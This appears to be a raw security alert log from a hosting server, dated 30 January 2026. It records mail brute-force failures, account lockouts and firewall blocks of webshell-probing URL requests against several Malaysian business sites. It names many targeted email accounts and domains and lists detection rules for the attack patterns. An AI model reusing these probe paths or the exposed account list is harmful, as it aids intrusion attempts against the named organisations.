abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:05:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:06:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/modernizr/img/photos/master/style-switcher/clientele.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:06:04 dovecot_login authenticator failed for H=(1q8u0tuU) [185.230.124.69]:58485: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:07:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-01-30 16:07:32 dovecot_plain authenticator failed for H=(pured) [12.150.243.22]:65401: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:07:46 dovecot_login authenticator failed for H=(BZOPDuD1x8) [185.230.124.69]:61213: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Tests/fixtures/resourcebundle/corrupted/resources.dat||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/vendor/common/news.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:07:20 dovecot_login authenticator failed for H=(1jd0IFsl) [185.230.124.69]:49265: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.196.134
country_id: 1814991
description:
2026-01-30 16:07:31 dovecot_login authenticator failed for H=([220.189.196.134]) [220.189.196.134]:51914: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-01-30 16:07:49 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:33776: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/vide/clientele.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 16:08:07 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:20150: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.186.241.102
country_id: 1835841
description:
2026-01-30 16:08:22 dovecot_login authenticator failed for H=([112.186.241.102]) [112.186.241.102]:38341: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-01-30 16:08:04 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:59619: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 16:08:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account whtan@tschuan.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:08:09 dovecot_login authenticator failed for H=(JdC4p9m8y2) [185.230.124.69]:63881: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/finder/Tests/Fixtures/A/B/ab.dat||User:visoftcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.62
country_id: 1269750
description:
2026-01-30 16:09:32 dovecot_login authenticator failed for H=([182.95.58.62]) [182.95.58.62]:46704: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 16:09:02 dovecot_login authenticator failed for H=(4vfF9ppTay) [185.230.124.69]:56667: 535 Incorrect authentication data (set_id=whtan@tschuan.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/rs-plugin/js/master/style-switcher/img/photos/clientele.php||SC:/home2/pspolycom/public_html/vendor/rs-plugin/js/master||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.gmap/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.65.140.218
country_id: 3017382
description:
2026-01-30 16:10:54 dovecot_login authenticator failed for H=82-65-140-218.subs.proxad.net [82.65.140.218]:58144: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.validation/img/demos/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/m.me/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.245.38
country_id: 1269750
description:
2026-01-30 16:11:21 dovecot_login authenticator failed for H=([152.52.245.38]) [152.52.245.38]:45706: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.34.137
country_id: 6252001
description:
2026-01-30 16:11:31 dovecot_login authenticator failed for H=([74.196.34.137]) [74.196.34.137]:45288: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/demos/master/style-switcher/vendor/vivus/new-development.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.193.6.158
country_id: 6251999
description:
2026-01-30 16:12:07 dovecot_plain authenticator failed for H=([10.28.18.167]) [91.193.6.158]:49261: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/photos/vendor/common/news.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.202.35.161
country_id: 1831722
description:
[2026-01-30 16:13:23 +0800] info [cpaneld] 160.202.35.161 - KIk! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.5.109.4
country_id: 2017370
description:
2026-01-30 16:13:22 dovecot_plain authenticator failed for H=(datize) [213.5.109.4]:43274: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.102.176
country_id: 1562822
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/landscape HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.208.83
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2752 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.182.106.133
country_id: 1269750
description:
2026-01-30 16:14:09 dovecot_plain authenticator failed for H=(8HRKD1AKEBBNP) [103.182.106.133]:53731: 535 Incorrect authentication data (set_id=ravand.t@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.107.213.171
country_id: 1168579
description:
2026-01-30 16:14:22 dovecot_plain authenticator failed for H=(GXA8DC) [175.107.213.171]:53689: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.80
country_id: 2782113
description:
2026-01-30 16:14:33 dovecot_login authenticator failed for H=(ADMIN) [156.146.60.80]:3929: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/product.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 16:15:55 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:35703: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.validation/img/index.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.186.200.92
country_id: 6251999
description:
2026-01-30 16:15:43 dovecot_login authenticator failed for H=92.200.186.34.bc.googleusercontent.com (10.162.0.2) [34.186.200.92]:53403: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.186.200.92
country_id: 6251999
description:
2026-01-30 16:16:01 dovecot_login authenticator failed for H=92.200.186.34.bc.googleusercontent.com (10.162.0.2) [34.186.200.92]:55493: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/master/style-switcher/js/demos/img/photos/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 16:16:04 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:57215: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-2.0.xsd||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.247.58
country_id: 3469034
description:
2026-01-30 16:17:39 dovecot_login authenticator failed for H=([186.238.157.140]) [187.9.247.58]:46081: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 16:17:47 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:55472: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 16:17:58 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:38952: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-01-30 16:17:09 dovecot_login authenticator failed for H=(22.32.117.87.donpac.ru) [87.117.32.22]:53812: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 16:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47911: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 16:17:55 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:49596: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.196.202.17
country_id: 3175395
description:
2026-01-30 16:17:02 dovecot_login authenticator failed for H=([2.196.202.17]) [2.196.202.17]:34184: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/photos/master/style-switcher/vendor/modernizr/about.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-30 16:18:43 H=([45.144.212.44]) [45.144.212.44]:54911 F=<Gokhan.Emlik@sofragrup.com> rejected RCPT <egtsales@empirelog.com.my>: SPF: 45.144.212.44 is not allowed to send mail from sofragrup.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/images/cdn-cgi/l/sitemap.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.127.92.33
country_id: 3437598
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/land/12/170/1277555 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-30 16:18:18 dovecot_login authenticator failed for H=([182.95.230.142]) [182.95.230.142]:46450: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-30 16:18:32 dovecot_login authenticator failed for H=([80.227.102.242]) [80.227.102.242]:58896: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/master/style-switcher/img/photos/js/new-development.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 16:19:14 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:52290: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.46
country_id: 1269750
description:
2026-01-30 16:19:29 dovecot_login authenticator failed for H=([182.95.85.181]) [182.95.123.46]:54296: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 16:19:18 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:60145: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 16:19:33 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:48348: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/photos/img/photos/article.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 16:19:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:16248: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/demos/master/style-switcher/product.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 16:19:18 H=(localhost.localdomain) [45.150.192.143]:47762 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.102.242
country_id: 290557
description:
2026-01-30 16:19:48 dovecot_login authenticator failed for H=([80.227.102.242]) [80.227.102.242]:43957: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.255.190.69
country_id: 2017370
description:
2026-01-30 16:20:34 dovecot_login authenticator failed for H=(92x255x190x69.static-business.omsk.ertelecom.ru) [92.255.190.69]:37308: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.205
country_id: 2635167
description:
Jan 30 16:20:02 sv3 pure-ftpd[3122760]: (?@185.247.137.205) [INFO] New connection from 185.247.137.205


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/common/img/new-development.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 16:20:05 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:24460: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/js/img/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 16:21:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54597: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.2
country_id: 1269750
description:
2026-01-30 16:21:52 dovecot_login authenticator failed for H=([61.246.205.1]) [125.19.218.2]:60440: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/photos/master/style-switcher/js/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 16:23:53 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:41764: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/bootstrap/js/master/style-switcher/img/photos/news.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.24.150
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=658383 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Loader/schema/dic/xliff-core/xml.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 16:23:38 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:41673: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.253.183.244
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31601516002597 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/master/style-switcher/vendor/rs-plugin/js/new-development.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.134.27.159
country_id: 1814991
description:
2026-01-30 16:24:14 dovecot_login authenticator failed for H=([124.134.27.159]) [124.134.27.159]:48510: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/vide/img/demos/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 16:25:28 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:41066: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-30 16:26:04 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:27782: 535 Incorrect authentication data (set_id=info)


